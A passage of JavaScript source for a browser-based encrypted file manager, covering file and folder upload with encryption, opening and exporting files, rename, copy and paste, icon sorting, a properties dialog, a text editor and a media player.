to 100 entries per call — must batch until empty.\nfunction _readAllEntries(reader) {\n  return new Promise(resolve => {\n    const results = [];\n    function batch() {\n      reader.readEntries(entries => {\n        if (!entries.length) { resolve(results); return; }\n        results.push(...entries);\n        batch();\n      }, () => resolve(results)); // on error, return what we have\n    }\n    batch();\n  });\n}\n\n// Encrypt a single FileSystemFileEntry and add it to the VFS under targetFolderId.\nasync function _uploadFileEntry(fileEntry, targetFolderId) {\n  const file = await new Promise((res, rej) => fileEntry.file(res, rej));\n  const name = sanitizeFilename(file.name);\n  if (VFS.hasChildNamed(targetFolderId, name)) {\n    toast(`\"${name}\" already exists — skipped`, 'warn');\n    return false;\n  }\n  const buf  = await file.arrayBuffer();\n  const mime = file.type || getMime(name);\n  const { iv, blob } = await Crypto.encryptBin(App.key, buf);\n  const nodeId = uid(), now = Date.now();\n  VFS.add({ id: nodeId, type: 'file', name, mime, size: file.size,\n            parentId: targetFolderId, ctime: now, mtime: now });\n  await DB.saveFile({ id: nodeId, cid: App.container.id, iv: Array.from(iv), blob });\n  return true;\n}\n\n// Recursively upload a FileSystemDirectoryEntry into the VFS under targetFolderId.\nasync function _uploadDirEntry(dirEntry, targetFolderId, depth) {\n  if (depth > 32) { toast('Folder nesting too deep — stopped at 32 levels', 'warn'); return false; }\n  const name = sanitizeFilename(dirEntry.name);\n  if (VFS.hasChildNamed(targetFolderId, name)) {\n    toast(`Folder \"${name}\" already exists — skipped`, 'warn');\n    return false;\n  }\n  const folderId = uid(), now = Date.now();\n  VFS.add({ id: folderId, type: 'folder', name, parentId: targetFolderId, ctime: now, mtime: now });\n  const entries = await _readAllEntries(dirEntry.createReader());\n  for (const entry of entries) {\n    if (entry.isDirectory) {\n      await _uploadDirEntry(entry, folderId, depth + 1);\n    } else {\n      await _uploadFileEntry(entry, folderId);\n    }\n  }\n  return true;\n}\n\n// Main drop entry point for desktop and folder-window drop events.\n// Accepts DataTransferItemList (supports both files and folders).\nasync function uploadEntries(dataTransferItems, targetFolderId) {\n  if (!App.key || !App.container) return;\n  const itemArr = Array.from(dataTransferItems || []);\n  if (!itemArr.length) return;\n\n  const entries = itemArr.map(i => i.webkitGetAsEntry?.()).filter(Boolean);\n  if (!entries.length) {\n    // Fallback: no Entry API support — treat all as flat files\n    const files = itemArr.map(i => i.getAsFile?.()).filter(Boolean);\n    if (files.length) await uploadFiles(files);\n    return;\n  }\n\n  const fileEntries   = entries.filter(e => e.isFile);\n  const folderEntries = entries.filter(e => e.isDirectory);\n  const label = [\n    fileEntries.length   && `${fileEntries.length} file${fileEntries.length   !== 1 ? 's' : ''}`,\n    folderEntries.length && `${folderEntries.length} folder${folderEntries.length !== 1 ? 's' : ''}`,\n  ].filter(Boolean).join(' and ');\n\n  showLoading(`Encrypting ${label}…`);\n  let ok = 0;\n  for (const entry of entries) {\n    try {\n      const added = entry.isDirectory\n        ? await _uploadDirEntry(entry, targetFolderId, 0)\n        : await _uploadFileEntry(entry, targetFolderId);\n      if (added) ok++;\n    } catch (err) {\n      console.error('upload entry error', entry.name, err);\n      toast(`Failed to import: ${entry.name}`, 'error');\n    }\n  }\n  await saveVFS();\n  Desktop._patchIcons();\n  if (typeof WinManager !== 'undefined') WinManager.renderAll();\n  hideLoading();\n  if (ok > 0) toast(`${ok} item${ok !== 1 ? 's' : ''} imported`, 'success');\n}\n\n/* ============================================================\n   OPEN / DOWNLOAD FILE\n   ============================================================ */\nasync function openFile(node) {\n  if (!App.key || !App.container) return;\n  showLoading('Decrypting file...');\n  try {\n    const rec = await DB.getFile(node.id);\n    if (!rec) { toast('File data not found', 'error'); hideLoading(); return; }\n    const mime = node.mime || getMime(node.name);\n    let buf;\n    // Empty file: blob may be missing or decrypt may fail for 0-byte content\n    if (!rec.blob || (rec.blob instanceof ArrayBuffer && rec.blob.byteLength === 0)) {\n      buf = new ArrayBuffer(0);\n    } else {\n      buf = await Crypto.decryptBin(App.key, rec.iv, rec.blob);\n    }\n    hideLoading();\n\n    if (isText(mime, node.name)) {\n      openEditor(node, buf);\n    } else if (isImage(mime) || isAudio(mime) || isVideo(mime) || isPDF(mime)) {\n      openViewer(node, buf, mime);\n    } else {\n      _confirmExport(node, buf, mime);\n    }\n  } catch (e) { hideLoading(); toast('Decryption failed: ' + e.message, 'error'); console.error(e); }\n}\n\nasync function downloadFile(node) {\n  if (!App.key || !App.container) return;\n  showLoading('Decrypting...');\n  try {\n    const rec = await DB.getFile(node.id);\n    if (!rec) { toast('File data not found', 'error'); hideLoading(); return; }\n    const buf = await Crypto.decryptBin(App.key, rec.iv, rec.blob);\n    downloadBuf(buf, node.name, node.mime || getMime(node.name));\n    toast('Exported: ' + node.name, 'success');\n  } catch (e) { toast('Decryption failed: ' + e.message, 'error'); }\n  hideLoading();\n}\n\nfunction downloadBuf(buf, name, mime) {\n  const blob = new Blob([buf], { type: mime });\n  const url  = URL.createObjectURL(blob);\n  const a    = document.createElement('a');\n  a.href = url; a.download = name; a.click();\n  setTimeout(() => URL.revokeObjectURL(url), 5000);\n}\n\nfunction _confirmExport(node, buf, mime) {\n  const fnEl = document.getElementById('ec-filename');\n  if (fnEl) fnEl.textContent = node.name;\n  Overlay.show('modal-export-confirm');\n  document.getElementById('ec-ok').onclick = () => {\n    Overlay.hide();\n    downloadBuf(buf, node.name, mime);\n    toast('Exported: ' + node.name, 'success');\n  };\n}\n\n/* ============================================================\n   DELETE SELECTED\n   ============================================================ */\nasync function deleteSelected() {\n  if (!App.selection.size) return;\n  const selRef = App.selection;           // capture the active selection Set at call time\n  const ids    = [...selRef];\n\n  // Prevent deleting folders currently open in Explorer windows\n  if (typeof WinManager !== 'undefined') {\n    const openFolderIds = new Set();\n    WinManager._wins.forEach(w => {\n      let cur = w.folderId;\n      while (cur && cur !== 'root') { openFolderIds.add(cur); cur = (VFS.node(cur) || {}).parentId; }\n    });\n    const blocked = ids.find(id => { const n = VFS.node(id); return n && n.type === 'folder' && openFolderIds.has(id); });\n    if (blocked) {\n      toast(`“${VFS.node(blocked)?.name}” is open in Explorer — close the window first`, 'error');\n      return;\n    }\n  }\n\n  const names  = ids.map(id => VFS.node(id)?.name || '').filter(Boolean);\n  const msg   = ids.length === 1\n    ? `Delete \"${names[0]}\"? This action cannot be undone.`\n    : `Delete ${ids.length} items? This action cannot be undone.`;\n\n  document.getElementById('delete-msg').textContent = msg;\n  Overlay.show('modal-delete');\n  document.getElementById('delete-ok').onclick = async () => {\n    Overlay.hide();\n    showLoading('Deleting...');\n    for (const id of ids) {\n      const n = VFS.node(id); if (!n) continue;\n      if (n.type === 'file') {\n        try { await DB.deleteFile(id); } catch (e) {}\n        delete App.thumbCache[id];\n      } else {\n        const toDelete = [];\n        const walk = fid => { VFS.children(fid).forEach(c => { if (c.type === 'file') toDelete.push(c.id); else walk(c.id); }); };\n        walk(id);\n        for (const fid of toDelete) { try { await DB.deleteFile(fid); } catch (e) {} delete App.thumbCache[fid]; }\n      }\n      VFS.remove(id);\n    }\n    selRef.clear();\n    await saveVFS();\n    Desktop._patchIcons();\n    if (typeof WinManager !== 'undefined') WinManager.renderAll();\n    hideLoading();\n    toast('Deleted', 'info');\n  };\n}\n\n/* ============================================================\n   NEW TEXT FILE  —  BUG FIX: just creates the file, does NOT open editor\n   ============================================================ */\nfunction newTextFile() {\n  const targetFolder = App.folder;\n  let name = 'Document.txt';\n  if (VFS.hasChildNamed(targetFolder, name)) {\n    let i = 2;\n    while (VFS.hasChildNamed(targetFolder, `Document (${i}).txt`)) i++;\n    name = `Document (${i}).txt`;\n  }\n  document.getElementById('nf-name').value = name;\n  Overlay.show('modal-new-text');\n  setTimeout(() => {\n    const inp = document.getElementById('nf-name');\n    inp.focus();\n    const dot = name.lastIndexOf('.');\n    if (dot > 0) inp.setSelectionRange(0, dot); else inp.select();\n  }, 100);\n}\n\nasync function createTextFile() {\n  const name = document.getElementById('nf-name').value.trim();\n  if (!name) { toast('Enter a file name', 'error'); return; }\n  // Capture context BEFORE Overlay.hide() clears it\n  const targetFolder = App.folder;\n  const winCtx       = App._winCtx;\n  // Duplicate name check\n  if (VFS.hasChildNamed(targetFolder, name)) {\n    toast(`“${name}” already exists in this folder`, 'error'); return;\n  }\n  Overlay.hide();\n\n  const nodeId   = uid();\n  const mime     = getMime(name);\n  const emptyBuf = new ArrayBuffer(0);\n  const { iv, blob } = await Crypto.encryptBin(App.key, emptyBuf);\n  VFS.add({ id: nodeId, type: 'file', name, mime, size: 0,\n            parentId: targetFolder, ctime: Date.now(), mtime: Date.now() });\n  // Position at context menu cursor if available\n  if (App._ctxScreenPos) {\n    const area2 = winCtx ? winCtx.el.querySelector('.fw-area') : document.getElementById('desktop-area');\n    const rect2 = area2.getBoundingClientRect();\n    const rawX  = App._ctxScreenPos.x - rect2.left + area2.scrollLeft;\n    const rawY  = App._ctxScreenPos.y - rect2.top  + area2.scrollTop;\n    const occ   = new Map();\n    VFS.children(targetFolder).forEach(n => {\n      if (n.id === nodeId) return;\n      const p = VFS.getPos(targetFolder, n.id);\n      if (p) occ.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n    });\n    const snapped = _snapFreeCell(rawX, rawY, occ);\n    VFS.setPos(targetFolder, nodeId, snapped.x, snapped.y);\n    App._ctxScreenPos = null;\n  }\n  await DB.saveFile({ id: nodeId, cid: App.container.id, iv: Array.from(iv), blob });\n  await saveVFS();\n  if (winCtx) winCtx.render(); else Desktop._patchIcons();\n  toast(`File “${name}” created`, 'success');\n}\n\n/* ============================================================\n   NEW FOLDER\n   ============================================================ */\nfunction newFolder() {\n  const targetFolder = App.folder;\n  let name = 'New Folder';\n  if (VFS.hasChildNamed(targetFolder, name)) {\n    let i = 2;\n    while (VFS.hasChildNamed(targetFolder, `New Folder (${i})`)) i++;\n    name = `New Folder (${i})`;\n  }\n  document.getElementById('nd-name').value = name;\n  Overlay.show('modal-new-folder');\n  setTimeout(() => {\n    const inp = document.getElementById('nd-name');\n    inp.focus(); inp.select();\n  }, 100);\n}\n\nasync function createFolder() {\n  const name = document.getElementById('nd-name').value.trim();\n  if (!name) { toast('Enter a folder name', 'error'); return; }\n  // Capture context BEFORE Overlay.hide() clears it\n  const targetFolder = App.folder;\n  const winCtx       = App._winCtx;\n  // Duplicate name check\n  if (VFS.hasChildNamed(targetFolder, name)) {\n    toast(`“${name}” already exists in this folder`, 'error'); return;\n  }\n  Overlay.hide();\n  const nodeId = uid();\n  VFS.add({ id: nodeId, type: 'folder', name, parentId: targetFolder, ctime: Date.now(), mtime: Date.now() });\n  // Position at context menu cursor if available\n  if (App._ctxScreenPos) {\n    const area2 = winCtx ? winCtx.el.querySelector('.fw-area') : document.getElementById('desktop-area');\n    const rect2 = area2.getBoundingClientRect();\n    const rawX  = App._ctxScreenPos.x - rect2.left + area2.scrollLeft;\n    const rawY  = App._ctxScreenPos.y - rect2.top  + area2.scrollTop;\n    const occ   = new Map();\n    VFS.children(targetFolder).forEach(n => {\n      if (n.id === nodeId) return;\n      const p = VFS.getPos(targetFolder, n.id);\n      if (p) occ.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n    });\n    const snapped = _snapFreeCell(rawX, rawY, occ);\n    VFS.setPos(targetFolder, nodeId, snapped.x, snapped.y);\n    App._ctxScreenPos = null;\n  }\n  await saveVFS();\n  if (winCtx) winCtx.render(); else Desktop._patchIcons();\n  toast(`Folder \"${name}\" created`, 'success');\n}\n\n/* ============================================================\n   RENAME\n   ============================================================ */\nfunction renameNode(node) {\n  if (!node) return;\n\n  // Prevent renaming folders currently open in Explorer windows\n  if (typeof WinManager !== 'undefined' && node.type === 'folder') {\n    const openFolderIds = new Set();\n    WinManager._wins.forEach(w => {\n      let cur = w.folderId;\n      while (cur && cur !== 'root') { openFolderIds.add(cur); cur = (VFS.node(cur) || {}).parentId; }\n    });\n    if (openFolderIds.has(node.id)) {\n      toast(`“${node.name}” is open in Explorer — close the window first`, 'error');\n      return;\n    }\n  }\n\n  document.getElementById('rename-input').value = node.name;\n  const capturedWinCtx = App._winCtx;\n  Overlay.show('modal-rename');\n  setTimeout(() => {\n    const i = document.getElementById('rename-input');\n    i.focus();\n    const dot = i.value.lastIndexOf('.');\n    if (dot > 0) i.setSelectionRange(0, dot); else i.select();\n  }, 100);\n  document.getElementById('rename-ok').onclick = async () => {\n    const newName = document.getElementById('rename-input').value.trim();\n    if (!newName) { toast('Enter a name', 'error'); return; }\n    // Duplicate check (ignore if same name, case-insensitive)\n    const pid = VFS.node(node.id)?.parentId;\n    if (pid && newName.toLowerCase() !== node.name.toLowerCase() && VFS.hasChildNamed(pid, newName)) {\n      toast(`“${newName}” already exists in this folder`, 'error'); return;\n    }\n    Overlay.hide();\n    VFS.rename(node.id, newName);\n    await saveVFS();\n    if (capturedWinCtx) capturedWinCtx.render(); else Desktop._patchIcons();\n  };\n}\n\n/* ============================================================\n   COPY / CUT / PASTE\n   ============================================================ */\nfunction copyItems() {\n  App.clipboard = { op: 'copy', ids: [...App.selection] };\n  toast(`${App.clipboard.ids.length} item(s) copied`, 'info');\n}\nfunction cutItems() {\n  // Prevent cutting folders currently open in Explorer windows\n  if (typeof WinManager !== 'undefined') {\n    const openFolderIds = new Set();\n    WinManager._wins.forEach(w => {\n      let cur = w.folderId;\n      while (cur && cur !== 'root') { openFolderIds.add(cur); cur = (VFS.node(cur) || {}).parentId; }\n    });\n    const blocked = [...App.selection].find(id => {\n      const n = VFS.node(id);\n      return n && n.type === 'folder' && openFolderIds.has(id);\n    });\n    if (blocked) {\n      toast(`“${VFS.node(blocked)?.name}” is open in Explorer — close the window first`, 'error');\n      return;\n    }\n  }\n\n  App.clipboard = { op: 'cut', ids: [...App.selection] };\n  toast(`${App.clipboard.ids.length} item(s) cut`, 'info');\n  _applyCutStyles();\n}\n\nfunction _dedupName(folderId, name) {\n  const dot = name.lastIndexOf('.');\n  const hasExt = dot > 0;\n  const base = hasExt ? name.slice(0, dot) : name;\n  const ext  = hasExt ? name.slice(dot) : '';\n  let i = 2;\n  while (VFS.hasChildNamed(folderId, `${base} (${i})${ext}`)) i++;\n  return `${base} (${i})${ext}`;\n}\n\nasync function pasteItems() {\n  if (!App.clipboard) return;\n  const { op, ids } = App.clipboard;\n\n  // Prevent pasting a cut folder if it's currently open in Explorer windows\n  if (op === 'cut' && typeof WinManager !== 'undefined') {\n    const openFolderIds = new Set();\n    WinManager._wins.forEach(w => {\n      let cur = w.folderId;\n      while (cur && cur !== 'root') { openFolderIds.add(cur); cur = (VFS.node(cur) || {}).parentId; }\n    });\n    const blocked = ids.find(id => {\n      const n = VFS.node(id);\n      return n && n.type === 'folder' && openFolderIds.has(id);\n    });\n    if (blocked) {\n      toast(`“${VFS.node(blocked)?.name}” is open in Explorer — close the window first`, 'error');\n      // Abort the entire paste operation to prevent partial moves\n      return;\n    }\n  }\n\n  for (const id of ids) {\n    const n = VFS.node(id); if (!n) continue;\n    if (op === 'cut') {\n      if (n.parentId === App.folder) continue;\n      const result = VFS.move(id, App.folder);\n      if (result === 'duplicate') { toast(`\"${n.name}\" already exists in this folder`, 'error'); continue; }\n      if (result === 'cycle')     { toast(`Cannot paste \"${n.name}\" into itself or a subfolder`, 'error'); continue; }\n    } else {\n      let name = n.name;\n      if (VFS.hasChildNamed(App.folder, name)) name = _dedupName(App.folder, name);\n      await deepCopy(id, App.folder, name !== n.name ? name : undefined);\n    }\n  }\n  if (op === 'cut') App.clipboard = null;\n  _applyCutStyles();\n  await saveVFS();\n  // Refresh all open views so both source and target folders update\n  Desktop._patchIcons();\n  if (typeof WinManager !== 'undefined') WinManager.renderAll();\n}\n\nasync function deepCopy(nodeId, newParent, newName) {\n  const n = VFS.node(nodeId); if (!n) return;\n  const newId = uid();\n  const name = newName || n.name;\n  if (n.type === 'file') {\n    VFS.add({ ...n, id: newId, name, parentId: newParent, ctime: Date.now(), mtime: Date.now() });\n    const rec = await DB.getFile(nodeId);\n    if (rec) await DB.saveFile({ ...rec, id: newId, cid: App.container.id });\n  } else {\n    VFS.add({ ...n, id: newId, name, parentId: newParent, ctime: Date.now(), mtime: Date.now() });\n    for (const child of VFS.children(nodeId)) await deepCopy(child.id, newId);\n  }\n}\n\n/* ============================================================\n   SELECT ALL / SORT\n   ============================================================ */\nfunction selectAll() {\n  VFS.children(App.folder).forEach(n => {\n    App.selection.add(n.id);\n    // Look in both main desktop and any folder windows\n    const el = document.querySelector(`.file-item[data-id=\"${n.id}\"]`);\n    if (el) el.classList.add('selected');\n  });\n  if (typeof Desktop !== 'undefined') Desktop._updateSelectionBar();\n}\n\nfunction sortIcons(by = 'name', dir = 'asc', winCtx = null) {\n  const fid  = winCtx ? winCtx.folderId : Desktop._desktopFolder;\n  const area = winCtx ? winCtx.el.querySelector('.fw-area') : document.getElementById('desktop-area');\n  const items = VFS.children(fid);\n  items.sort((a, b) => {\n    // Folders always come first\n    if (a.type !== b.type) return a.type === 'folder' ? -1 : 1;\n    let va, vb;\n    switch (by) {\n      case 'mtime': va = a.mtime || 0;         vb = b.mtime || 0; break;\n      case 'ctime': va = a.ctime || 0;         vb = b.ctime || 0; break;\n      case 'size':  va = a.size  || 0;         vb = b.size  || 0; break;\n      case 'type':  va = getExt(a.name) || ''; vb = getExt(b.name) || ''; break;\n      default:      va = a.name.toLowerCase(); vb = b.name.toLowerCase();\n    }\n    const cmp = va < vb ? -1 : va > vb ? 1 : 0;\n    return dir === 'desc' ? -cmp : cmp;\n  });\n  // Compute sequential grid positions directly (don't use autoPos which sees old positions as occupied)\n  const W    = (area && area.clientWidth) || 800;\n  const cols = Math.max(1, Math.floor((W - 16) / GRID_X));\n  items.forEach((n, i) => {\n    const col = i % cols, row = Math.floor(i / cols);\n    const x = 8 + col * GRID_X, y = 8 + row * GRID_Y;\n    VFS.setPos(fid, n.id, x, y);\n    const el = area.querySelector(`.file-item[data-id=\"${n.id}\"]`);\n    if (el) {\n      el.style.transition = 'left 0.12s ease, top 0.12s ease';\n      el.style.left = x + 'px'; el.style.top = y + 'px';\n      setTimeout(() => { if (el.parentNode) el.style.transition = ''; }, 150);\n    }\n  });\n  saveVFS();\n}\n\n/* ============================================================\n   CAN EDIT AS PLAIN TEXT  (whitelist of text-ish types)\n   ============================================================ */\nfunction canEditAsText(node) {\n  if (node.type === 'folder') return false;\n  const mime = node.mime || getMime(node.name);\n  if (mime.startsWith('text/')) return true;\n  if (['application/json', 'application/xml', 'application/javascript',\n       'application/x-yaml', 'application/sql'].includes(mime)) return true;\n  const ext = getExt(node.name).toLowerCase();\n  return ['txt', 'md', 'log', 'logs', 'conf', 'config', 'cfg', 'ini', 'env',\n          'sh', 'bash', 'zsh', 'fish', 'bat', 'cmd', 'ps1',\n          'js', 'ts', 'jsx', 'tsx', 'mjs', 'cjs',\n          'py', 'pyw', 'rb', 'php', 'phps',\n          'java', 'c', 'cpp', 'cc', 'cxx', 'h', 'hpp',\n          'cs', 'fs', 'fsx', 'vb',\n          'go', 'rs', 'swift', 'kt', 'kts', 'groovy', 'scala',\n          'lua', 'pl', 'r', 'sql', 'graphql', 'gql',\n          'json', 'xml', 'yaml', 'yml', 'toml', 'csv', 'tsv',\n          'html', 'htm', 'css', 'scss', 'sass', 'less',\n          'vue', 'svelte', 'astro',\n          'dockerfile', 'makefile', 'cmake',\n          'gitignore', 'gitattributes', 'editorconfig',\n          'prettierrc', 'eslintrc', 'babelrc'].includes(ext);\n}\n\n/* ============================================================\n   OPEN FILE AS PLAIN TEXT  (force text editor, any file type)\n   ============================================================ */\nasync function openFileAsText(node) {\n  if (!App.key || !App.container) return;\n  showLoading('Decrypting file...');\n  const TIMEOUT_MS = 5000;\n  try {\n    const rec = await DB.getFile(node.id);\n    if (!rec) { toast('File data not found', 'error'); hideLoading(); return; }\n    let buf;\n    if (!rec.blob || (rec.blob instanceof ArrayBuffer && rec.blob.byteLength === 0)) {\n      buf = new ArrayBuffer(0);\n    } else {\n      const decryptPromise = Crypto.decryptBin(App.key, rec.iv, rec.blob);\n      const timeoutPromise = new Promise((_, reject) =>\n        setTimeout(() => reject(new Error('timeout')), TIMEOUT_MS)\n      );\n      buf = await Promise.race([decryptPromise, timeoutPromise]);\n    }\n    hideLoading();\n    openEditor(node, buf);\n  } catch (e) {\n    hideLoading();\n    if (e.message === 'timeout') {\n      toast('Operation timed out after 5 seconds', 'warn');\n    } else {\n      toast('Decryption failed: ' + e.message, 'error');\n    }\n  }\n}\n\n/* ============================================================\n   FOLDER SIZE  (recursive sum of all file descendants)\n   ============================================================ */\nfunction _folderSize(folderId) {\n  let size = 0;\n  VFS.children(folderId).forEach(n => {\n    size += n.type === 'file' ? (n.size || 0) : _folderSize(n.id);\n  });\n  return size;\n}\n\n/* ============================================================\n   PROPERTIES\n   ============================================================ */\nfunction showProps(node) {\n  const body  = document.getElementById('props-body');\n  const icon  = node.type === 'folder' ? getFolderSVG(node.color) : getFileIconSVG(node.mime || getMime(node.name), node.name);\n  const folderSz = node.type === 'folder' ? _folderSize(node.id) : null;\n  body.innerHTML = `\n    <div class=\"props-icon\">${icon}</div>\n    <table class=\"props-table\">\n      <tr><td>Name</td><td>${escHtml(node.name)}</td></tr>\n      <tr><td>Path</td><td>${escHtml(VFS.fullPath(node.id))}</td></tr>\n      <tr><td>Type</td><td>${escHtml(node.type === 'folder' ? 'Folder' : (node.mime || getMime(node.name)))}</td></tr>\n      ${node.size != null ? `<tr><td>Size</td><td>${fmtSize(node.size)}</td></tr>` : ''}\n      ${folderSz !== null ? `<tr><td>Size</td><td>${fmtSize(folderSz)}</td></tr>` : ''}\n      <tr><td>Created</td><td>${fmtDate(node.ctime)}</td></tr>\n      <tr><td>Modified</td><td>${fmtDate(node.mtime)}</td></tr>\n      ${node.type === 'folder' ? `<tr><td>Items</td><td>${VFS.children(node.id).length}</td></tr>` : ''}\n      <tr><td>Encrypted</td><td style=\"color:var(--accent)\">AES-256-GCM ✓</td></tr>\n    </table>\n  `;\n  Overlay.show('modal-props');\n}\n\n/* ============================================================\n   TEXT EDITOR\n   ============================================================ */\nlet _editorNode     = null;\nlet _editorOriginal = '';\n\nfunction openEditor(node, buf) {\n  _editorNode     = node;\n  const raw       = new TextDecoder().decode(buf);\n  // Normalize line endings to \\n to match what <textarea> returns\n  const text      = raw.replace(/\\r\\n/g, '\\n').replace(/\\r/g, '\\n');\n  _editorOriginal = text;\n  const ta        = document.getElementById('editor-textarea');\n  ta.value        = text;\n  document.getElementById('editor-title').textContent = node.name;\n  // Word wrap toggle\n  const wrapBtn = document.getElementById('btn-wordwrap');\n  wrapBtn.classList.toggle('active', ta.classList.contains('word-wrap'));\n  wrapBtn.onclick = () => {\n    ta.classList.toggle('word-wrap');\n    wrapBtn.classList.toggle('active', ta.classList.contains('word-wrap'));\n  };\n  ta.oninput = () => {\n    document.getElementById('editor-meta-chars').textContent = ta.value.length + ' chars';\n    document.getElementById('editor-meta-lines').textContent = ta.value.split('\\n').length + ' lines';\n    const mod = document.getElementById('editor-meta-modified');\n    mod.style.display = ta.value !== _editorOriginal ? '' : 'none';\n  };\n  ta.oninput();\n  Overlay.show('modal-editor');\n  setTimeout(() => ta.focus(), 100);\n}\n\nasync function saveEditor() {\n  if (!_editorNode || !App.key) return;\n\n  const text     = document.getElementById('editor-textarea').value;\n  const buf      = new TextEncoder().encode(text);\n  const needed   = buf.byteLength * 1.1;\n  const spCheck  = await checkStorageSpace(needed);\n  if (!spCheck.ok) {\n    toast(`Cannot save: not enough device storage (${fmtSize(spCheck.available)} free)`, 'error');\n    return;\n  }\n\n  let saved = false;\n  showLoading('Saving...');\n  try {\n    const { iv, blob } = await Crypto.encryptBin(App.key, buf.buffer);\n    _editorNode.size  = buf.byteLength;\n    _editorNode.mtime = Date.now();\n    VFS.add(_editorNode);\n    await DB.saveFile({ id: _editorNode.id, cid: App.container.id, iv: Array.from(iv), blob });\n    _editorOriginal = text;\n    document.getElementById('editor-meta-modified').style.display = 'none';\n    await saveVFS();\n    Desktop._patchIcons();\n    toast('File saved', 'success');\n    saved = true;\n  } catch (e) { toast('Save failed: ' + e.message, 'error'); console.error(e); }\n  hideLoading();\n  return saved;\n}\n\nfunction closeEditor() {\n  const ta       = document.getElementById('editor-textarea');\n  const modified = ta.value !== _editorOriginal;\n  if (modified) {\n    const dlg = document.getElementById('editor-unsaved-dialog');\n    dlg.style.display = 'flex';\n    return;\n  }\n  Overlay.hide();\n  _editorNode = null;\n}\n\nfunction discardEditor() {\n  Overlay.hide();\n  _editorNode = null;\n}\n\nasync function saveAndCloseEditor() {\n  const ok = await saveEditor();\n  if (ok) { Overlay.hide(); _editorNode = null; }\n}\n\n/* ============================================================\n   FILE VIEWER\n   ============================================================ */\nlet _viewerBlob = null;\n\nfunction openViewer(node, buf, mime) {\n  const content = document.getElementById('viewer-content');\n  content.innerHTML = '';\n  const blobObj = new Blob([buf], { type: mime });\n  const url     = URL.createObjectURL(blobObj);\n  _viewerBlob   = { url, node };\n\n  document.getElementById('viewer-title').textContent = node.name;\n  document.getElementById('btn-download-viewer').onclick = () => {\n    const a = document.createElement('a'); a.href = url; a.download = node.name; a.click();\n  };\n\n  if (isImage(mime)) {\n    const img = document.createElement('img');\n    img.src = url; img.style.cssText = 'max-width:100%;max-height:100%;object-fit:contain';\n    content.appendChild(img);\n  } else if (isAudio(mime)) {\n    content.appendChild(_buildCustomPlayer(url, 'audio'));\n  } else if (isVideo(mime)) {\n    content.appendChild(_buildCustomPlayer(url, 'video'));\n  } else if (isPDF(mime)) {\n    const fr = document.createElement('iframe');\n    fr.src = url; fr.style.cssText = 'width:100%;height:100%;border:none';\n    content.appendChild(fr);\n  }\n  Overlay.show('modal-viewer');\n}\n\n/* ---- Custom media player builder ---- */\nfunction _buildCustomPlayer(url, kind) {\n  const wrap = document.createElement('div');\n  wrap.className = 'twc-player' + (kind === 'audio' ? ' audio-only' : '');\n\n  const media = document.createElement(kind === 'audio' ? 'audio' : 'video');\n  media.src = url;\n  media.preload = 'metadata';\n  media.volume = 1;\n  media.muted = false;\n  if (kind !== 'audio') media.setAttribute('playsinline', '');\n\n  if (kind === 'audio') {\n    media.style.display = 'none';  // keep in DOM so closeViewer() can find and pause it\n    wrap.appendChild(media);\n    const vis = document.createElement('div');\n    vis.className = 'audio-vis';\n    vis.innerHTML = `<svg viewBox=\"0 0 64 64\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n      <path d=\"M10 44V20l20-10v44L10 44z\" fill=\"currentColor\" opacity=\".3\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linejoin=\"round\"/>\n      <path d=\"M34 22c4 2 7 6 7 10s-3 8-7 10\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\"/>\n      <path d=\"M38 16c6 3 10 10 10 16s-4 13-10 16\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\"/>\n    </svg>`;\n    wrap.appendChild(vis);\n  } else {\n    wrap.appendChild(media);\n  }\n\n  const controls = document.createElement('div');\n  controls.className = 'player-controls';\n\n  // Play/Pause\n  const btnPlay = document.createElement('button');\n  btnPlay.className = 'player-btn';\n  const playIcon  = '<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M4 2l10 6-10 6z\" fill=\"currentColor\"/></svg>';\n  const pauseIcon = '<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><rect x=\"3\" y=\"2\" width=\"3.5\" height=\"12\" rx=\".5\" fill=\"currentColor\"/><rect x=\"9.5\" y=\"2\" width=\"3.5\" height=\"12\" rx=\".5\" fill=\"currentColor\"/></svg>';\n  btnPlay.innerHTML = playIcon;\n  btnPlay.addEventListener('click', () => { media.paused ? media.play() : media.pause(); });\n\n  // Seek bar\n  const seek = document.createElement('input');\n  seek.type = 'range'; seek.className = 'player-seek'; seek.min = 0; seek.max = 100; seek.value = 0; seek.step = 0.1;\n\n  // Time label\n  const timeLabel = document.createElement('span');\n  timeLabel.className = 'player-time';\n  timeLabel.textContent = '0:00 / 0:00';\n\n  function fmtTime(s) {\n    if (!isFinite(s)) return '0:00';\n    const m = Math.floor(s / 60), sec = Math.floor(s % 60);\n    return m + ':' + (sec < 10 ? '0' : '') + sec;\n  }\n\n  media.addEventListener('loadedmetadata', () => {\n    seek.max = media.duration || 100;\n    timeLabel.textContent = fmtTime(0) + ' / ' + fmtTime(media.duration);\n  });\n  media.addEventListener('timeupdate', () => {\n    seek.value = media.currentTime;\n    timeLabel.textContent = fmtTime(media.currentTime) + ' / ' + fmtTime(media.duration);\n  });\n  media.addEventListener('play',  () => { btnPlay.innerHTML = pauseIcon; });\n  media.addEventListener('pause', () => { btnPlay.innerHTML = playIcon; });\n  media.addEventListener('ended', () => { btnPlay.innerHTML = playIcon; });\n\n  let _seeking = false;\n  seek.addEventListener('mousedown',  () => { _seeking = true; });\n  seek.addEventListener('touchstart', () => { _seeking = true; }, { passive: true });\n  seek.addEventListener('input', () => { if (_seeking) media.currentTime = seek.value; });\n  seek.addEventListener('mouseup',  () => { _seeking = false; media.currentTime = seek.value; });\n  seek.addEventListener('touchend', () => { _seeking = false; media.currentTime = seek.value; });\n\n  // Volume\n  const btnVol = document.createElement('button');\n  btnVol.className = 'player-btn';\n  const volIcon  = '<svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\"><path d=\"M2 6h3l4-3v10l-4-3H2z\" fill=\"currentColor\"/><path d=\"M12 4.5c1.3 1 2 2.3 2 3.5s-.7 2.5-2 3.5\" stroke=\"currentColor\" stroke-width=\"1.4\" stroke-linecap=\"round\"/></svg>';\n  const muteIcon = '<svg width=\"16\" height=\"16\" 